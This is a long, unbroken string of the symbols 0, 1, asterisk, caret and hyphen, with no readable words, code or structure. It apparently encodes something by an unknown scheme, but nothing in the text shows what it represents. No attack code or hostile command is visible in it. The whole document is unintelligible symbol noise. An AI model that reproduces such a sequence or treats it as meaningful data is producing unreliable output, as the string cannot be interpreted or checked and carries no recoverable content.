*-00^1101*010110-11*1*^10-1010-11*011*001*1*------10-^11**0-001011*0-00^-11**********1*0^-001**00---011*-*00------10-110-**-001011*0^1101*****00^10101^11**001*010^1*****001**110-**01*001*01*1*1101*00-*0-11*011****001**01010^-101^11****01**01**-00-0011*00---------00-*-00^1101*********01*1*00^1*^1*****01**010^101*00^101*001*1*------10-10^101*0-001011*001101010-11**********1*0^-001**00--11011*0-11*-*00------10-^^11*0-001011**001010-11*1101*011010^-11*011****001**01010^-101^11****01**0^-0-00-0011*00---------00-*-00^110101*^1*****01**01011***^101*001*1*1*^110101^-11*101*001*1*------10-11011*1*-001011*0^1101*****00-0-01101^1*001*010^1********0-0-*001*001*01*1*********00101*^-001**00--101010^-11*-*00------10--010101*-001011***^-11*1101*01011*0-11*011****001**01010^-101^11****01***-1101^-0011*00--------1^-1*-**0^-11*------10-1*^11*-001011*0^1101*11*0-11*1*^-^^-11*-*001*1*********0-*0^-001**00--^11*0-11*-*00------10-1*00-*-001011*00-1010-11*1101**011*011****001**--*0010^--------0-0-*-*101101*011*1*^10110-0-11*-*001*1*------10--0-11*-001011*0^1101********0^11011*00^1*^1*****01**0011*01*00^101*001*1*********00101*^-001**00---101*-*00-----1*-11*11**-001011**0-00-11*1101**11*0-11*011****001**01010^-101^11*******11010-1^-0011*00--------1^-1*-*00-00-11*-----1*--01011*00-001011*0^1101******110110-01101**1*010^-011*-11*001*001*1*********1*1*^-001**00---01*0-11*-*00-----1*-11*0101*0-001011*001*^-11*1101*001010^-11*011****001**01010^-101^11****01***10--00-0011*00--------1^-1*-*1*^-11*-----1*--011011*0-001011**11*0-11**********1*0^-001**00--1^10^-11*-*00-----1*----*0-001011**0^10-11*1101**^^-11*011****001**01010^-101^11****01**0-01*1^-0011*00---------00-*-00^1101*****00^1*011011011*001*010^1*****01***^1**01*001*01*1*-----1*-11*10101*-001011**1^10-11**********1*0^-001**00---*^-11*-*00-----1*-11010-01*-001011*01*1*-11*1101*001101*-11*011****001**01010^-101^11****01**00110^-00-0011*00--------1^-1*-001*1*-11*-----1*--1101011*-001011*011011010-11**********1*0^-001**00--110101*-11*-*00-----1*--0010-*-001011*0^^10-11*1101*0^11*0101*0011****001**^10^1^-0--------1^-1*-00^^10-11*-----1^-11***00-001011**-*********-*00^-001**00--1*11*-*00-----1^-11*01**-001011*01*^10101*0-11*^1*01*1*1101**101*-11*011****001**01010^-101^11****01***01*-00-0011*00--------10110-*-00^1101010-110-11*1*^110^110-11*-*001*1*-----1^-11011011*00-001011*0-11*-11**********1*0^-001**00---001*-11*-*00-----1^-11*^1*0-001011*0^1101******-^101*11**1*010^10^-0-11*001*001*1*1101*01*1*-11*011****001**01010^-101^11*******-^-^-0011*00--------1^-1*-*1101^-11*-----1^-110-011*0-001011*0^1101010101*-11*1*^-101*011*001*1*********1011*0^-001**00--1*01*-11*-*00-----1^--01*01*-001011*0-11010-11*1101*001*^-11*011****001**01010^-101^11****01**0-*001^-0011*00--------1^-1*-00-11010-11*-----1^-1101*101*-001011*0^11010^^10-11*1*^1*********00101*00^-*001*1*********1*1*^-001**00--11*0^-11*-*00-----1^--0-101*-001011*010-*-11*1101*00101*0-11*011****001**01010^-101^11*******^^-^-0011*00--------10110-*-00^1101*010110-11*1*^1**10-11*011*001*1*-----1^-11*00-*-001011*010101010-11**********1*0^-001**00--1^1*0-11*-*00-----1^-110^-1*-001011*0^1101*101*-11*1*^1*****01**0-^1**^^1*01*1*1101*0^1*0-11*011****001**01010^-101^11*******011*-^-0011*00--------1^-1*-0010101*-11*-----1010-11*11**-001011*001101*********-*00^-001**00--10-1*-*00-----1010-11*101*00-001011***010-11*1101**011*-11*011****001**01010^-101^11****01**00101010-00-0011*00--------1^-1*-**0010-11*-----1010--01*1*0-001011*0^11010-11**********1*0^-001**00---101*-11*-*00-----1010--110101*0-001011*0^1101*****00^10110-1***1*010^110101*-11*001*001*1*1101*0-01*-11*011****001**01010^-101^11****01**01*010-00-0011*00--------*0-1*-001*^-0-10-11*101*001*1*-----1010-11**01*-001011*01*1010-11**********1*0^-001**00--101101*-11*-*00-----1010-110^^1*-001011*010-^-11*1101*010-*-11*011****001**01010^-101^11****01***0^101^-0011*00--------1^-1*-0010-^-11*-----1010---0101*-001011*0010-00-11**********1*0^-001**00--^-*-11*-*00-----1010--*0011*-001011*0-^10-11*1101**-*-11*011****001**01010^-101^11****01**0010-001^-0011*00--------1^-1*-00-^10-11*-----1010-110-1011*-001011*01*0^-11**********1*0^-001**00---011*-11*-*00-----1010-11*0-1*-001011*0^1101010-*-11*1^^^-010-11*0101*01*1*1101*011*^-11*011****001**01010^-101^11****01**00^1*1^-0011*00--------0010-1*-0011011*------0-110^1**-001011**001*-11**********1*0^-001**00--101*^-11*-*00------0-1^^1*00-001011**010^-11*1101*01^1*-11*011****001**01010^-101^11*******11*-1^-0011*00--------10110-*-001*^1********0-0011*00^-*001*1*------0--11*1*0-001011**0110^-1*-11*1*^1*****01**0101101**0^^1*01*1*********1*1*^-001**00--10^1*-11*-*00------0-1101*11*0-001011*01*0010-11*1101*010^^-11*011****001**01010^-101^11****01**00^110-00-0011*00--------1^-1*-001*0010-11*------0----*0-001011**-010-11**********1*0^-001**00--^^^-11*-*00------0--*^1*-001011*0110^10-11*1101***^-11*011****001**01010^-101^11****01**010-0101^-0011*00--------01010-*-00^1101*****00-*0101***001*010^-001010-11*001*001*1*------0--1101101*-001011*01101*0-11**********1*0^-001**00----*-11*-*00------0--00^11*-001011*01*^1*****01**00-011**^^1*01*1*1101*010101*-11*011****001**01010^-101^11****01***00^-00-0011*00--------0010-1*-*0011*------0--1010-*-001011*0^1101*****001*00--1**001*010^1********10-011*001*001*01*1*********00101*^-001**00--^101*-11*-*00-----^--^1**0-001011*0^1101*****00101101*01^11*00^1^^1********1^^1*001*101*01*1*1101*001011*-11*011****001**01010^-101^11****01***001^1^-0011*00--------1^-1*-00-1*0-11*-----^--0^11*00-001011*01*1^-11**********1*0^-001**00--1^11*-11*-*00-----^--001*1*0-001011*0-01010-11*1101*010-*011****001**01010^-101^11*******1101010-00-0011*00--------1^-1*-00-01010-11*-----^--*0011*0-001011*0^11*********-*00^-001**00--^-*-*00-----^--*0-*0-001011*0^1101*****00^1*-1011**01*010^1^1*0-11*001*001*1*1101*0-11*-11*011****001**01010^-101^11****01**0011010101^-0011*00--------1^-1*-00110-00-11*-----^--0110^1*-001011*01*^^1*10-11*^1*01*1*********1101*0^-001**00--10-1*-11*-*00-----^--11010101*-001011*0-10^-11*1101**001*-11*011****001**01010^-101^11****01***10-01^-0011*00--------1^-1*-00-10^-11*-----^--*^11*-001011*0-01*-11**********1*0^-001**00---11*0-11*-*00-----^--01011011*-001011*0^1101******-0^1101^1*001*010^1*01010-11*001*001*1*1101*011011*-11*011****001**01010^-101^11****01**001^^1^-0011*00--------1^-1*-00-*10-11*-----110--***00-001011*011010^-11**********1*0^-001**00--101011*-11*-*00-----110--0^1**-001011*01*^-110110-11*^1*01*1*1101**010^-11*011****001**01010^-101^11****01**01**01^-0011*00--------1^-1*-*1010^-11*-----110--0^11*00-001011*00-1^-11**********1*0^-001**00---^^-11*-*00-----110--001*1*0-001011*0^1101******-^110110-*001*010^1*****001**011***01*001*01*1*1101*0-1*0-11*011****001**01010^-101^11****01**00-01101^-0011*00--------10110-*-001*^1*****01**01011***^101*001*1*-----110--1^-*0-001011*0^1101*****00101**010-**1*010^11*-0-11*001*001*1*********1*1*^-001**00--10-*0-11*-*00-----110--0-*1*-001011*01^1^-11*1101*00^1*-11*011****001**01010^-101^11********110-^-0011*00--------10110-*-00^1101010^110-11*1*^1*11010-11*-*001*1*-----110--1*1101*-001011*00101101011011*1*^1********-01101*001*11*001*1**********01*^-001**00--11*1*-11*-*00-----110--110^11*-001011*01^1*-11*1101*01101*0-11*011****001**01010^-101^11*******-110-^-0011*00---------00-*-00^1101*********10^1*00^1*^1********0110^1*00^101*001*1*-----110--0010-1*-001011*0^1101*****00^1010^1101**01*010^1********01*001*001*01*001*1*********00101*^-001**00--10101*0-11*-*00-----10--10^1**-001011*0^10^-11*1101*001^^-11*011****001**01010^-101^11****001***1*01^-0011*00--------1^-1*-00^10^-11*-----10---1101*00-001011*011*010-11**********1*0^-001**00--110^^-11*-*00-----10--11*001*0-001011*010^^-11*1101*0^11*-11*011****001**01010^-101^11****01****^1^-0011*00--------1^-1*-0010^^-11*-----10--10-101*0-001011*001^^-11**********1*0^-001**00--1*11*-11*-*00-----10--1*0-*0-001011*00^1010-11*1101*001101*******1*001010-1*****0011**101^1*****0^1**00^1*****011**01*******0101**1010101*****01***101*******1**0-1******-*0010-01******1**011011******-*00110-******001*00-00101******01**010-*****0^1*01*011*****00^1**01^1******1**01*******-**1101******011**^-01********0101******001**0011011******101*0010^-*****001**^10-*****0011*00-^11*****0101*001*^1*****0101*00110-11*****01****101*****0011**01^1******001*0--*******1*0011**********^101******001*00--1*****011***11*******1**^101*****0011****1*****001**0-^1*****0011***10-******01*0110-01*****001**0101******0011**0^1011*****001**0101101******11**1*11******11*00^-01*****0101**^11*******1*0-1*1******1*00-11011********00110-*****0101*001^1******001**-^1*****00-**-0011*****01**0-^11*****0^1***01******001*0010101******01**1010^1*****01**01**1*****01***01011*********01011*****0011**0110101*****00-*00110-1********011*1********00^-******-***^1*****0101**101011******11**10101******11**11*101*****0011*00-^11*****0101*001*101*****00-*0010101101******1*0010-101******1*0010-101********^1^1*****0^1***101******1*0011*1******^1*01101011*****001**0^-01*****0^1*001*1******001**001*1******01*0-0-********0-10101****************101***0011*****011**0-011******1**1*-******001**01101*****00-***-1*****0011**0101******001**1^1011********01101011*****01**011010-*****0011*001101*1******01**^101*****0101*001**1*****011**0101*1******01*0-^11*****001**1*01******01**1*1101*****0-**********01*00^1011**********110101*10^1*01011*00^1*-11*0101*01^1*001****01**0^110^--0^1*01^1*001****01**001**0--*01*01^1*001*******010101010--0-*001^1*001****01**0-010^--0011*001^1*001****01*****0--0101*001^1*001*******0-11010--*1*001^1*001*******-1*10--001101*01^1*********1***-001*1******01*101*****001101**01011***001***1^1^1***00--------10-**-001011*01*^--*-11*001*001*1*01010^11011******0-1*01010-0-*00---------101*00-001011*001101*--------0010-1*-*0-*--------00-1*00-001011*0^1101*****00-1*-101**001*010^1101^10-11*-*001*1*********1*1*^-0010-01*011**11010101**101101010^^101**101**011010-01*011*00--------10-01*0-001011*001011*1101*00101*******-0--1011011**11011******011**0011*101**--------1*-*0-001011*001011*1101*011**--------01010-*-00^1101*******1*-10-*001*010^101*110-11*-*001*1*--------0101*1*-001011*0^1101********0-*11*00^1*^1*-00-11*011*001*1*********1*1*********1**0101*101*01^11*00^1101*001*-11*1*011*1*00101*00--------00110101*-001011*01*^11*-0-11*101*001*1*0101*001101*--------^-01*-001011*01*^101101010-11*001*001*1*01^1*11*******0011*1*01011********01*101********1101^1********1*1*********01*101********^1101********01101^1*********0101********01011011*******************1101^1********0010^1********0-1*********0011*0101*10^1*********0-*1*0-00-*001^1*001*******-1*10--0011*001^1*001****01*****0--0101*001^1*001****01**0-010^--*1*001^1*001*******0-11010--001101*01^1*********1***-001*1*******00101*****001**01101****11***01^1^1******0---------01**-00101*001^1*01101*01010^-*00--------1*01*00-00101*001^1*01101*--------0^-1*-00^1*0-11*--------*011*00-00101*001^1*1101*0-11*********^1*010-^^110^101101010-*^1**01******00-1*0^-01*001*011*******1**--**0^1011**0^10-11*0101**011010-01*011*00--------1010101*0-00101*001^1*1101101*-*1*^1********^-01*001*001*01*1*1101*00101******0010-001*101*1**--------1011011*0-00101*001^1*1101101011011*1*^11*1*-11*-*001*1*1101********************-1*01*0^--------1^-1*-*0-*--------1101*1*-00101*001^1*^1101********011011011*00^1*^1********0010-1*001*11*001*1*********10101*********1**0101*101*01^11*00^1101*110110-11*1*011*1*0011**--------1*1101*-00101*001^1*01101*0101*001101*--------110-01*-00101*001^1*10-*01^1*11*******1101*1*01011*********00101********001*1*********010101********1**1********0-**********-01*******************0010-********001010101*********11*********00-01*********011*********0011*0101*10101*001*1*********101*1*0-*001*01^1*001*******0-11010--0-*001^1*001****01**0-010^--0011*001^1*001****01**001**0--001101*01^1*********1***-001*1******0-^1*****001**00101****101***1^1^1***********00-*****-10-01****1*1101***1********001*1**0010101*0-0110101****1**01**1*101*1**********-*0010-011011********1*1*101*1**--------0-101*0-*011**-*********-**00-00--------0010-1*-00-01*--------*0-*0-*011**011*********-*00^-001**00---101*011*00--------**01*-*011*001011*0101*0-01*--------0010-1*-*1011*---------1*1*-*011*0^1101*****001*-0010-01*00^1^^1*********00-*00^^1*********01^1*^-*-^--01**********001*001*10110101*^1*****01***001**001*01****01**001**0--*10^-1^10-11*001*******-1*10--0-^10-11*001*******-1*10--01**00--101101*011*00--------101^11*-*011*0-01*0101*001101*******************00^1*********0^1**********11011********00110101********0101^1*********11011********01*-********001**********^1*0101*1*01**11*00-1*1011**1****01**0^110^--001101*01^1*********1***-001*1******00-001*********1*11**00-***1^11011******001010^------0-1101***-001011*0^1101**********011*00^1*^1101*10-11*-*001*1*------0--^1**-001011*01011*0-11*--------1^-1*-*-1*-11*------0-1101*1*00-001011*0^1101******00110-1*101*001*010^1^10^-11**1*01*1*********1*1*^-001**00--11011*0-11*-*00------0--0-1*00-001011*0^11010-01^-11*1*^1********0110^1*001*11*001*1*1101*0-01*---------00-*-00^1101******10^11*11011*001*010^1*****01**010--*001*101*01*1*------0--1*11*0-001011*01101101011011*1*^1*****01**00^^1*00^101*001*1**********01*^-001**00--101101*-*00------0-1^-11*0-001011*0^1101******01*001*0011*00^1^^1********0^^1*00^^1*01*1*1101*01101*0-11*------0--^^1*-001011*0-11*-11*--------0010-1*-0010-*------0--*0101*-001011*001^^-11**********1*0^-001**00--10101*0-11*-*00------0--^1101*-001011*0^1101******----**001*010^-101^-11**1*01*1*1101**-*011*******0-*-1101^1**001*******0--0110-^1**--------1^-1*-*011*0-11*------0--0011011*-001011*0^11010^10110-11*1*^1*****01***^101*001*01*001*1*********1*1*^-001**00---011*-*00------0--^-1*-001011*00^1*-11*1101*00-1*------0--0--*-001011*0^1101*****0011*01101101011*001*010^--010-11**1*01*1*--------1^-1*-*^1*-11*-----^--10101**-001011*01*^1********1010^1*00^-*001*1*********0-*0^-001**00--110-*-*00-----^--001101*00-001011*0^1101******1*1010^101**1*010^1*****01**0-***01*101*01*1*1101*00101*0-11*001*******--1010-1^11****011***011*00101*01*10-11*00101010-11*11**01**---------00-*-00^110101*^-1^10-11*001*001*1*1*^1********01101011*001*01*001*1*-----^--01^11*0-001011*0^10^-11**********1*0^-001**00--1^1*0-11*-*00-----^--*-1*0-001011**101*-11*1101**11*0-11*-----^--11*001*-001011**-*-11*01^1*11*******11*001*101*11****011***011*00101******1**01*0011*001******1**01*1011*00^11**011****01****011*101******1***110101*001******1***110101*00^11**011*******1010-*0101******01**0010101**1******01**110-1**^11**001*******--10110-^1**--------01010-*-*001101*11*0-11*1*^1********11010101*001*11*001*1*-----^---01011*-001011*001011*********-*00^-001**00---01*0-11*-*00-----^--*10-*-001011*01*^1********01010101*001*11*001*1*1101*001011*---------00-*-00^1101******01*10-11**00^1^^1********101*11*00^^1*01*1*-----110--1101**0-001011*01*^1********^-01*00^101*001*1*********0-*0110-******11**1011***1*11*00--------1^-1*-00-00^-11*-----110--110101*00-001011*0^11*********-*00^-001**00--1^11*-*00-----110--110-*00-001011*011*^-11*1101*0^11*--------1^-1*-*101*0-11*-----110--001^1*0-001011*0^1101******0^1*1*01**1*010^1*****001**-01**001*101*01*1*********00101*110-******11***1***1*11*00--------01010-*-00^1101******--1*1***1*010^-101^-11**1*01*1*-----110--110-1*0-001011*0^1101**^-11*1*^1********1101*1*00^-*001*1*********1*1*^-001**00--1*11*-*00-----110--1010^1*-001011*0^1101******-0-1*001**1*010^1*****01**00-001**1*101*01*1*1101*0^1*0-11*--------01010-*-00^1101******0-*0101*1*00^1^^1^10^-11*^1*01*1*-----110--00-101*-001011*0^11*-11**********1*0^-*11****001**0010-*0101******11**00^1**01******11**101011**01*01*******--10110-^1**011****01****011*101*********1^-*001*********1^-*00^11**--------10110-*-00^1101011011010-11*1*^1^11*-11*101*001*1*-----110--110-11*-001011*01*^1********-00-*00^101*001*1*********0-*0^-001**00--10-1*-*00-----10--10^1**-001011*010-*-11*1101*010-*-----10--^-**-001011*001101*01^1*11*******11*001*101*11****011***011*00101*********001^1*001*********001*1*00^11**011****01****011*101******1**0010^1**1******1**0010^1**^11**011*******1010-*0101******11***10-*001******11**-*11*00^11**001*******--10110-^1**--------01010-*-00^1101*****00101101*01*01*00^1^^11*1010-11*^1*01*1*-----10---11011*0-001011**01101010-*1*^1*****01***1*1**1*01*001*1**********01*^-001**00--^-*-*00-----10--1*1*1*-001011**001*-11*1101**011*0101*0011*******1010-*0101******01**1011011**1******01**01*01**^11**--------01010-*-00^1101*****00^1^101*-*001*010^1010^10-11**1*01*1*-----10---001101*-001011*0^1101*-*1*^1********11010101*001*11*001*1**********01*^-001**00---101*-*00-----10--^1^11*-001011*0^1101*********10^1*00^1*^1010-10-11*011*001*1*1101*01011*0-11*0101****1****001*10^11**01**--------*0-1*-001*^-1*10-11*-*001*1*-----10--11*-1*-001011*01*^110-110-11*011*001*1*********1101*0^-001**00--^11*0-11*-*00--------011**00-001011*011011010^11*1*^1*10^-11*101*001*1*1101*011011*--------10101**-001011*0^1101*********0-01*00^1*^-101*101*001*1*--------*0-1*-001*^110^^-11*101*001*1*---------101*00-001011**-*********-*00^-001**00--101011*-*00----------*00-001011*0^1101*101*-11*1*^1*****01**0-10101*001*01*001*1*1101*001101******001**--11*****011**01^1******01**0101011*****0011**-01101******1*00-011******001*0010101******001**-01******011**0011*1********1^1******01**010-101********1101011******01*00--******1****01******1**-^11*****011**--01********1^-1*****01**001^101*****001**0101101********0011*01*****011**001*1*****0011**1010101******1**01011011*****01****01*****0011**-1101*********1^1********0010^11*****001**1011*********010-1******001***101*****0011**-1^1******1**1*******011****01****************1**0-00-*****011**01101011********101101******1***^11******1**1101*1*****001**0-01********00-10101********101101******1**0011011*********1010^101*10^1*01011*0^1*0-11*0101*01^1*001*******010101010--0^1*01^1*001****01**0^110^--*01*01^1*001*******-1*10--0-*001^1*001****01*****0--0011*001^1*001****01**0-010^--0101*001^1*001*******0-11010--*1*001^1*001****01**001**0--001101*01^1*********1***-001*1******0101^1*****00101**10-***0-***1^1^1*********01010^--------0^11*00-*011*011011*--------^-*00-*011*0-01*--------1^-1*-001101*0-11*---------*1*0-*011*00101*0-11**********1*0^-001**00--1*11*011*00--------*1101*0-*011*0^1101********011010101*00^1*^1********001*01*00^^1*00101*0-01*--------0010-1*-00^11*--------1^-*0-*011*001101*********-*00^-001**00--101101*011*00--------11*001*-*011*0^1*0-11*0101**011*01^1*11*******01*001*101*01*******--10110-^1**0101****1**0--1*0101*1**--------*0-1*-001*^101101010-11*001*001*1*--------^10101*-*011**011*********-*00^-001**00---101*011*00--------^-01*-*011**011010^11*1*^1********11010101*00^^1*00101*001101*********1*^1********0101*1********-*1*********01^1********1*1*********1*1*********1*1********************^-********0110101*********001^1********10-01*********11*0101*1*01**11*001011*001*001^1*001*******0-11010--01011**1****01**0-010^--001101*01^1*********1***-001*1*******1^1********010^-**0011***01^1^1*01010^---------011*00-*011*00-1*--------0-11*00-*011*0^11*--------01010-*-00^1101*****00^1*11011011**1*010^1^1*0-11*001*001*1*--------1010101*0-*011*010-*********-*00^-001**00--1*11*011*00--------10^11*0-*011**011*0101*0-01*--------*10-*-00^1101********0^10-*00^1*^1********00-101*00^^1*0--------**01*-*011*001101*********-*00^-001**00--101101*011*00--------*0^1*-*011**-*0101**011*001*******--1010-1^11*******1**1*101*101****1**0--1*0101*1**01**--------0010-1*-*0-*--------*01101*-*011*00101*0-11**********1*0^-001**00---101*011*00--------1*0011*-*011*011011*0101*001101*********10^11**********1********00^1*********0^1*********0101*01********010-*********011*1********00-01********01^^1********10^11*******************00-01*********11*0101*1*01**11*0-01*001*001^1*001*******-1*10--01011**1****01**0-010^--001101*01^1*********1***-001*1******0110^1**********-**0011***01^1^1*********01010^110101*******011*00101******1**001011011*001******1***010101*001*101****1**0^1*-00-001**0101****1**00--*0101*1*****1101*01^1*********1***-*^^1*****001010^-----110--10--*-00101*001^1**01*-11*-----10--1011**00-00101*001^1*0011*0-11*--------01^-*-00^110101*^^11*0-11**1*01*1*1*^1********11*101*001*001*01*1*-----10--101*1*00-00101*001^1*0-*0-11*********^1*0^-*-^--01********01*0-*001*001101*10^^^110-11*001*******010101010--*10^1*****01**0-01011*001*01*******010101010--*****001**0-01011*001*01*******010101010--01**00--^-*^1*0-----10--1^1101*0-00101*001^1*1011*0-11*1011*0-01*--------0^-1*-001011*0-11*-----10---01011*0-00101*001^1*^1101**********001*00^1*^1^11010-11*^1*01*1*********0^1*^-001**00--101101*^1*0-----10--1011*01*-00101*001^1*1*1*-11*1011**-*--------1^-1*-00-01*-----10---10^1*-00101*001^1*1101*0-11*********^1***010-**11*00--------0^-1*-001*1*-11*-----10--10-0101*-00101*001^1*^1101********00-*1*00^1*^1*0-0-11*011*001*1*********0^1*^-001**00---011*^1*0-----10--1^^11*-00101*001^1**11*1011**011*0101**1*******0--0110-^1**--------1^-1*-*0011*-----10--1*00-*-00101*001^1*0-1**********1*0^-001**00---101*^1*0-----10--11*-1*-00101*001^1*00-*1011*001011*0011*001********-*0010-0110101******110^1*0101******1***010-*001******1***01^1*00^11**-*00--------1^-1*-*0-*--------*11**-00101*001^1*1101101*-*1*^10-0110-11*011*001*1*********0-*0^-001**00--1^11*^1*0---------101*00-00101*001^1*^1101********01011*1*00^1*^1*11*-11**1*01*1*1011*011011*0101*0110101******1^1011*10^-**001**1*******0--*-1^1**--------0^-1*-*^1*-11*--------*1101*0-00101*001^1*^11**********1*0^-001**00--101011*^1*0--------^1011*0-00101*001^1*1^1*-11*1011*0^11*1101*0011*00--------^10-*-00^1101*****001010-*-001*001*010^1*01^-11*-*001*1*--------011*01*-00101*001^1*-01**********1*0^-001**00--1*11*^1*0---------0^1*-00101*001^1*1*^-010^-11*011*001*1*1011*001101*********1^^1********00-1*********110-*****001**0-11*********0-*********00110-*****001**00110^1*****01***1^1*****001***010101*****01***101*********0--1********0--1********110^11********1*11*********0101101*****01**01*001*****001**0-1^1********0010101*********-011********-101*******************010101*101*10101*001*1*101*001^1*01101*^1*01^1*001****01**0-010^--*01*01^1*001*******0-11010--0-*001^1*001*******-1*10--0011*001^1*001****01**001**0--001101*01^1*********1***-001*1******0010^1******1**010101***0-***1^1^1****1010^-----110--11*-*-00101*001^1*10-*-----110--11010-*-00101*001^1*0101101011011*1*^1*****01**00-011**1*101*01*1*--------^10-*-00^1101******00110^11***01*010^--*-11*^1*01*1*-----10--^11**0-00101*001^1*^1101*********101011*00^1*^^110110-11*-*001*1*********0^1*^-001**00--^-*^1*0-----10---^1*00-00101*001^1*00101*-11*1011*0-01*--------0^-1*-*0101*-11*-----10--1^-*00-00101*001^1*1011*0-11*********^1*0^-001**00--101101*^1*0-----10---0^1*0-00101*001^1*-1*0-11*1011*0^11*1101*0011*00--------0^-1*-00-1*0-11*-----10----01*0-00101*001^1**01*-11*********^1*0^-001**00--1*11*^1*0-----10--11*-*0-00101*001^1*0-1*1011*001011*0011*001********-*0010-0110101*******^1*0101******11**-10-*001******11**10^-*00^11**-*00--------01010-*-*10110^1011*1*^1********-01101*00^-*001*1*-----10--11*0101*-00101*001^1*0^1*-11*********^1*0^-001**00--1^11*^1*0-----10---001101*-00101*001^1*1^1*-11*1011**-*--------0^-1*-**1*-11*-----10--1101*11*-00101*001^1*^1101******001*1*11**00^1^^1*****01**0^1^1*001*001*01*1*********10101***10-**11*00--------0^-1*-001^1*-11*-----10--1*10-*-00101*001^1*^1*0-11*********^1*0^-001**00---011*^1*0-----10--1010-11*-00101*001^1*01101*1011*011011*0101*0110101******1^1011*10^-**001**1*******0--*-1^1**--------001*11*-00^1101*-00--01********0101^11*00^^1101*10^1********1101^1*001*01*******010101010--01*^1**********01*001*01****01**0-010^--**********001*001*01****01**0-010^--*110^-11*1*^1*^10-11*-*001*1*---------*1*0-00101*001^1*^1101*****00-1*0-00-*00^1^^1********-0-1*001*001*01*1*********10101*^-001**00--101011*^1*0--------10^11*0-00101*001^1*1*^-110110-11*-*001*1*1011**011*0101**1*******0--0110-^1**--------1^-1*-*1011*--------**01*-00101*001^1*^1101*********-011*00^1*^110101^-11*011*001*1*********0^1*^-001**00---101*^1*0--------1101^1*-00101*001^1**11*1011*001101******01**00--********00^-1*****01**01^1******01**0^10101*****01**0101^1*****001**00101101**********01*****001**01^-********01^^1********11010101*****01**001*011********001*11*****01***1011*********101********************-00-**********1********0110101******1**0010-01********11010101********11010101********10101*101*10101*001*1*101*001^1*00-*0101*01^1*001****01**001**0--0^1*01^1*001*******-1*10--*01*01^1*001****01**0^110^--0-*001^1*001****01*****0--0011*001^1*001****01**0-010^--001101*01^1*********1***-001*1******0^^1******1**110^1****1**001^1^1******0--------1101**0-001011*0-01*01010^-*00--------00101**-001011*0^1101*****00^1010^-101*00^1^^-0^10-11*001*001*1*--------1^-1*-00^1*0-11*--------001101*00-001011*0^11*********-*00^-0010-01*011**1101*1**101101010^1*01**101**0110^-^--01*-^-11*-110101*^11*1*-11*001****01**0-010^--*10^101101^-11*001*******-1*10--001101^-11*001*******-1*10--0-01*011*00---------1101*0-001011*00101101011011*1*^1********-01101*001*11*001*1*1101*00101*******110--11011011011******011**0011*101**--------110-1*0-001011*00101*0-11*1101*0^11*--------*0-1*-001*^--*-11*101*001*1*---------1*1*-001011**011*********-*********001**0101*101*01^11*00^110^1101^-11*1*011*1*0011**---------00101*-001011*0-01*0101*001101*--------*01101*-001011*0^1101******01^-011011**^1^^1********1^-1*001*01*001*1*01^1*11*********01*01011*********-01********1101011********001101101********1101011*******************1101*1********01011*********1101*1********10^101********101*1********011*1********00-^1*********11*0101*10^1**********00101*0-*11*001^1*001****01*****0--0101*001^1*001*******0-11010--*1*001^1*001****01**0^110^--001101*01^1*********1***-001*1*******0^1*****001**001101****001**001^1^1******0-----10---110-*-*01*001^1*^1101******0011*-*11*001*010^1*****001**^-**0^-*001*1*01010^1********^-^10-0-*00--------1101**0-*01*001^1*^1*0-11*--------^10-*-00^1101*****0010--1101101**1*010^101011010-11*-*001*1*--------00^1*00-*01*001^1*0-1**********1*0^-0010-01*011**1101*01*00101101010^1*001**11******001**010-11**1*101**011010-01*011*00--------01*01*0-*01*001^1*^1101*****001101011010-11**1*010^1*0-0-11*011*001*1*1101*00101****1**0-00--1011011011******011**0011*-**11011******00-**11*101**--------01^11*0-*01*001^1*11011010^11*1*^10110-0-11*101*001*1*1101**101*--------1^-1*-*1011*--------00-11*0-*01*001^1*^11**********1*********01**0101*101*01^11*00^1101*-00--0^^1^-11*-1101*1*001*^1********-01101*001*01****01**0-010^--********0-01101*001*01****01**0-010^--001*110-11*1*0110101**01*00--------*01101*-*01*001^1*^1*0-11*0101*001101*--------110-01*-*01*001^1**11*01^1*11*******--1*001011********-*01******************00^11*********10101101********11*11********0101*11********0-1101********11*11********01^101********00-*********0^11*********101*11********0011*0101*1*1*001*1*********101*1*0-00-*001^1*001*******010101010--0011*001^1*001*******-1*10--0101*001^1*001****01**001**0--001101*01^1*********1***-001*1******0-*1*****001**00^11***0-***1^1^1*--------10^1*00-001011*0^1101*1*10-11*1*^1*****01**010110101*001*11*001*1*01010^1********-0-1010-0-*00--------10-1*00-001011*01101*0-11*--------10110-*-00^1101*101^-11*1*^-101010-11*001*001*1*--------0^101*0-001011*0^11*********-*00^-0010-01*011**1101011**0101101010^^11**0101**011010-01*011*00--------^1011*0-001011*00-1*1101*00101****1****--1011011011******011**0011*101**--------00-11*0-001011*00-1*1101**101*--------10110-*-001*^1*****01**0-0^1*00^101*001*1*--------0^^1*-001011*001011010^11*1*^1********-01101*001*01*001*1**********01*********1**0101*101*01^11*00^110101^-0-11*1*011011**001*00--------1^1101*-001011*01101*0-11*0101*001101*--------10-101*-001011*011011*01^1*11*******0--*001011********-01*********0010^1********1011*1********1*011********0-01*********101*1********01011*********0101*1********0101*01*******************-001********00-001*********11*0101*10^1*********011*01*0-*11*001^1*001****01**001**0--0101*001^1*001*******0-11010--*1*001^1*001****01*****0--001101*01^1*********1***-001*1******0011*1*********--**0011***01^1^1***00--------01^1*00-001011*0^1101*******00-^1**001*010^1*****01**01^1**001*11*001*1*01010^-*00--------00-1*00-001011*0^11*--------01010-*-00^1101*****00-1101^-11**^1^^-*^-11*001*001*1*--------1^101*0-001011**-*********-*00^-0010-01*011**110^1**0101101010^1*1**0101**011010-01*011*00--------0101011*0-001011*00101*0-11*1101*00101******00^1101*010^--------*-1*0-001011*00101*0-11*1101*0-1*0-11*--------0010-1*-*0011*--------^1*1*-001011*011011*********-*********001**0101*101*01^11*00^110^^1*-11*1*011011**01**--------1*0101*-001011*0110110^-1*1*^1********^1^1*00^101*001*1*0101*001101*--------1^1101*-001011*0^110101^^10--0-11*001*001*1*1^^10--0-11*001*001*1*01^1*11*******10-11*001011********0-*1*********0011*********00^1********0-*1******************00-*01********-*1*********00^1********^101*********^101**********11********0-01*********0011*0101*10^1*********0101^1*0-*11*001^1*001*******010101010--0101*001^1*001****01**0-010^--*1*001^1*001****01**0^110^--001101*01^1*********1***-001*1******0101*1********0110-11***01***1^1^1*--------0110101*0-*10101*1^1*11*******00-11*001011********011*********00-********************0011*********00-*********00101*00101*10-*001*1*-*001^1**11*01010^--------00110-*-001*^1*****01**0-***0^101*001*1*--------^1101*0-*01*001^1*11011**********1*0--*0-00--01********001010-*001*00110101*^1*****01**001^101*001*01*******0-11010--01*^1********01^-*001*01*******0-11010--********0